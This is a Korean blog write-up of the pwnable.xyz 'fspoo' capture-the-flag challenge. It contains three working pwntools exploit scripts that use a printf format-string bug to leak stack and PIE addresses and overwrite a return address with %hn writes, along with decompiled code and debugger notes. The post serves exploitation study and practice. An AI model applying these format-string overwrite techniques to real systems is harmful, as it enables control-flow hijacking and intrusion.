security/포너블 - pwnable.xyz

pwnable.xyz - fspoo

민사민서 2023. 2. 9. 00:36

# exploit1

from pwn import *
p = remote("svc.pwnable.xyz", 30010)
# p = process("./challenge")
e = ELF("./challenge")

def edit_name(name):
    p.recvuntil("> ")
    p.sendline("1") # getchar()에서 버퍼 비우므로 개행문자까지 넘김
    p.sendafter("Name: ", name)

def prep_msg():
    p.recvuntil("> ")
    p.sendline("2") # getchar()에서 버퍼 비우므로 개행문자까지 넘김

def choose(num):
    p.recvuntil("> ")
    p.sendline(str(num))

# 7byte(이모지+공백) + 25byte(user input) + 6byte(포맷스트링 공격)
p.sendafter("Name: ", "A"*25+"%10$p\n") # SFP 유출
prep_msg()
vuln_ebp = int(p.recvline()[:-1], 16) - 0x10

edit_name("A"*25+"%11$p\n") # RET 유출
prep_msg()
vuln_ret = int(p.recvline()[:-1], 16)

pie_base = vuln_ret - (e.symbols['main']+79) # ~a77
winAddr = pie_base + e.symbols['win'] # ~9fd
cmdAddr = pie_base + e.symbols['cmd'] # ~040

# cmd에 "%6$n" 포멧스트링 저장하려면
# 일단 v1에 쓰기 가능한 주소가 들어있으면서 option 1 & 2 선택 가능해야함
writableArea = pie_base+0x2000
choose(writableArea|0x1)
p.sendafter("Name: ", "A"*25+"AA%6$n")
choose(writableArea|0x2) # v1이 가리키는 주소에 0x2 채우기

for i in range(38,48): # cmd[38] ~ cmd[47] 까지 모두 0x2로 채움
    choose(cmdAddr+i)
    p.recvline() # Invalid 출력

win_low = winAddr & 0xffff
choose(writableArea|0x1)
# cmd[38]~cmd[47] 널바이트 사라졌으므로 뒤에 널바이트 추가 - printf 할 문자열 끝 명시
# %6$hn 등장하기전에 AA, \x02 * 10번 등장하므로 -12
pay = "%{}c%6$hn\x00".format(win_low-12)
p.sendafter("Name: ", pay) # v1이 가리키는 주소에 0x2 채우기
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()

win_high = (winAddr>>16) & 0xffff
choose(writableArea|0x1)
# cmd[38]~cmd[47] 널바이트 사라졌으므로 뒤에 널바이트 추가 - printf 할 문자열 끝 명시
# %6$hn 등장하기전에 AA, \x02 * 10번 등장하므로 -12
pay = "%{}c%6$hn\x00".format(win_high-12)
p.sendafter("Name: ", pay) # v1이 가리키는 주소에 0x2 채우기
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x6)))
p.recvline()

choose(0)

p.interactive()

 cf) 마지막 RET overwrite 단계에서 choose(writableArea|0x2) 굳이 필요 없다. cmd 배열 중간의 널바이트를 모두 지웠으므로 입력한 포맷스트링까지 제대로 실행됨

cf) RET overwrite payload에서 "%c%6$hn" 뒤에 널바이트 붙여야하는 이유는 cmd배열 마지막에 AAA(15자)~%6$n 남아있으므로! (win_low-12-15) 값 주면 제대로 익스됨

 

cf) 초기 payload='%{}c%6$hn'.format(win_low-16) ; payload+='A'*(31-len(payload)) 는 왜 안될까?

win_low = winAddr & 0xffff
choose(writableArea|0x1)
pay = "%{}c%6$hn".format(win_low-16)
pay += 'A'*(31-len(pay))
p.sendafter("Name: ", pay)
choose(writableArea|0x2)
choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()

동적분석해보니 printf(%cmd[32])는 A 6자 출력하고 널바이트(cmd[38])를 만나 입력이 끊긴다. 왜냐??

sprintf 함수는 자동적으로 str 맨 마지막에 NULL 문자를 붙이기 때문에 항상 한 칸의 여유가 있어야 한다.

 

따라서 포맷스트링도 작동을 안해 RET에 overwrite도 안되고 writable Area에도 제대로 된 값이 안들어간다 

 

# exploit 2

from pwn import *
p = remote("svc.pwnable.xyz", 30010)
# p = process("./challenge")
e = ELF("./challenge")

def edit_name(name):
    p.recvuntil("> ")
    p.sendline("1")
    p.sendafter("Name: ", name)

def prep_msg():
    p.recvuntil("> ")
    p.sendline("2")

def choose(num):
    p.recvuntil("> ")
    p.sendline(str(num))

p.sendafter("Name: ", "A"*25+"%10$p\n") # SFP 유출
prep_msg()
vuln_ebp = int(p.recvline()[:-1], 16) - 0x10

edit_name("A"*25+"%11$p\n") # RET 유출
prep_msg()
vuln_ret = int(p.recvline()[:-1], 16)

pie_base = vuln_ret - (e.symbols['main']+79)

writableArea = pie_base+0x2000
choose(writableArea|0x1)
p.sendafter("Name: ", "A"*25+"%6$hhn")
choose(writableArea|0x2)

choose("-"+str(0x100000000-(vuln_ebp+0x4)))
p.recvline()

choose(0)
p.interactive()

# exploit 3

exploit1의 연장선인데 

+7 ~ +27 명령어를 분석해보면 eax에 다음 EIP 주소를 담고, 0x16fd를 더하고, edx에 eax+0xf0 주소를 담는다

즉, edx에 flag의 주소를 담는다

그리고 이중포인터마냥 두 번 참조를 해서 그 결과가 0이 아니면 system("cat /flag")를 실행한다.

즉 flag에 유효한 주솟값을 담고있는 주소를 쓰면 되겠다

ex1) writableArea 주소가 담겨있는 v1의 주소!

ex2) vuln 함수의 RET Addr 담겨있는 곳의 주소!

 

그리고 RET을 win이 아니라 _ 함수로 덮어쓰면 되겠다

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(&argc);
  printf("Name: ");
// cmd[48 ~ 78] 입력받음
// 전역변수 char cmd[80]과 전역변수 flag 인접해있네
  read(0, (char *)&cmd + 48, 31);
  vuln();
  return 0;
}
char *setup()
{
  char *result; // eax

  setvbuf(&IO_2_1_stdout_, 0, 2, 0);
  setvbuf(&IO_2_1_stdin_, 0, 2, 0);
  signal(14, handler);
  alarm(60);
  result = cmd;
// 전역변수 cmd+32 에 "Menu:\n"+널바이트 저장됨
  strcpy(&cmd[32], "Menu:\n");
  return result;
}
unsigned int vuln()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    while ( 1 )
    {
      printf((char *)&cmd + 32);
      puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
      printf("> ");
      __isoc99_scanf("%d", &v1);
      getchar(); // 버퍼 비우기(엔터)

      if ( (unsigned __int8)v1 != 1 )
        break;
      printf("Name: ");
      read(0, (char *)&cmd + 48, 31);
    }
    if ( (unsigned __int8)v1 <= 1u )
      break;
    if ( (unsigned __int8)v1 == 2 )
    {
// sprintf(출력값 저장할 문자열, 서식문자열, 인자들~)
// &unk_B7B: "똥이모지   %s" 문자열 - 똥이모지 4Byte+공백 3칸 = 7바이트 차지한다
      sprintf(cmd, &unk_B7B, (char *)&cmd + 48);
    }
    else if ( (unsigned __int8)v1 == 3 )
    {
      puts(cmd);
    }
    else
    {
LABEL_12:
      puts("Invalid");
    }
  }
  if ( (_BYTE)v1 ) // v1!=0 이면 Invalid 출력 후 다시 while문으로
    goto LABEL_12;
  return __readgsdword(0x14u) ^ v2;
}
int win()
{
  return system("cat flag");
}

- 32bit 프로그램
- 보호기법: Full RELRO    canary found   NX enabled    PIE enabled
- printf - FSB 취약점 발생, sprintf - bof 발생(7바이트 + cmd[48]에서 최대 31자 입력받음)
- sprintf 결과 cmd[0~37] 채울 수 있네 -> printf(cmd[32])에서 "Menu:\n" 에 해당하는 6자 조작 가능
- fsb를 이용해 vuln()의 RET 주소와 win() 주소 알아서 RET overwrite


[방법 1]
- printf(cmd[32]) 실행되는 시점에서 esp, ebp offset은 0x28
esp는 포맷스트링 문자열 &cmd[32]를 가리키고 있고 
포맷스트링 첫번째 인자는 esp+0x4, esp+0x28=ebp는 10번째 인자, RET는 11번째 인자
- vuln()의 RET 유출해서 PIE base 주소 구한다 -> cmd 주소, win 주소 다 구할 수 있다
vuln() RET=<main+79>
- vuln()에 저장된 SFP 유출해서 그 offset으로 vuln()의 EBP도 구할 수 있을듯
<vuln EBP>: 0xffffcfe8, <main EBP>: 0xffffcff8 = <vuln EBP>+0x10 (같은 스택 영역이라 offset 일정)

- cmd[38~47]이 널바이트이므로 포멧스트링 6자밖에 입력못함 -> 다른 값으로 채워 사용 가능한 영역을 늘리자
- 주소 저장용으로 사용 가능한 vuln() 지역변수 v1밖에 없네
- printf(cmd[32]) 실행되는 시점에서 esp+0x28=ebp, v1=[ebp-0x10], esp+0x18=v1 이므로 6번째 인자!
- printf("AA%6$n") 실행시키면 v1이 가리키는 주소에 0x2 저장된다

- 일단 cmd[0~37]에 "AA....AA%6$n" 문자열 저장하려면 v1에 쓰기 가능한 주소가 들어가있어야함
- v1 마지막 바이트가 1이면 cmd[48~] 에 입력받고
- v1 마지막 바이트가 2이면 sprintf 해서 cmd[0~]에 저장되고 (이때 포맷스트링 수정됨)
- printf(포맷스트링)에서 실행되므로
- 첫 턴에서 v1에는 쓰기 가능하며 마지막바이트가 1(혹은 2)인 값이 들어가야 함
0x56555000 0x56556000 r-xp     1000      0 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
0x56556000 0x56557000 r--p     1000      0 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
0x56557000 0x56558000 rw-p     1000   1000 /home/minseo/Desktop/pwnablexyz/fspoo/challenge
// data 영역에 저장하자 (code 영역+0x2000)
- 그 다음 cmd[38~47]에 의미없는 바이트 저장하자
- 새로운 포맷스트링 입력하자 '%{}c%6$hn\x00'.format( win_addr - 12)
- 왜 12냐? cmd[32~37]에 'AA%6$n' 들어있어 문자 2개 출력되고, cmd[38~47]에서 문자 10개 출력되므로
- 포맷스트링의 끝을 알리는 널바이트 추가해줘야함 안 그럼 이상해짐
- win_addr 주소도 한 번에 입력하면 범위 넘어가므로 2byte씩 나눠서 입력

[방법 2]
pwndbg> disas win
Dump of assembler code for function win:
   0x000009fd <+0>:    push   ebp
   0x000009fe <+1>:    mov    ebp,esp
   0x00000a00 <+3>:    push   ebx
~~
pwndbg> disas main
Dump of assembler code for function main:
~~
   0x00000a72 <+74>:   call   0x8d2 <vuln>
   0x00000a77 <+79>:   mov    eax,0x0

vuln의 RET 주소와 win 함수 프롤로그 이후 지점이 딱 1byte 차이난다
off by one 취약점!
포맷 스트링 6칸만으로도 충분히 exploit 가능하다 (win addr, cmd addr 필요 없음)

 

(알게 된 tip)
#gdb.attach(p)
#pause()
를 이리저리 옮겨가며 그 순간 스택/변수에 들어간 값 동적분석 가능

RET에 win 주소를 덮어쓸 때 2byte씩 나누는 이유?
win 주소는 0x5~~ 로 정수변환 시 signed int(4byte)에서 표현 가능한 범위를 넘어간다
따라서 %6$hn을 이용해 2Byte씩 덮어쓴다

overflow 발생 안하더라도 시간 제한 이슈로 나누는 경우도 있다 

동일한 이유로 v1에 vuln_ebp+0x4, vuln_ebp+0x6 의 주소(0xff~)를 입력할 때에도
음수로 변환하여 입력한다

fsb 시 인덱스 계산 방법
- esp 기준으로 몇 바이트 떨어져있는지 정적 분석하는 것도 방법이고
- 'A'*25+'%p %p' 해서 유출된 값이 스택 프레임 상 어디있는지 동적분석하는 것도 방법이다

 

#include <stdio.h>  // C++ 에서는 <cstdio>

int sprintf(char* str, const char* format, ...);

sprintf 함수는 자동적으로 str 맨 마지막에 NULL 문자를 붙이기 때문에 항상 한 칸의 여유가 있어야 한다.

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - J-U-M-P  (0) 2023.02.12
pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - l33t-ness  (0) 2023.02.07
pwnable.xyz - Jmp table  (0) 2023.02.05
pwnable.xyz - TLSv00  (0) 2023.02.05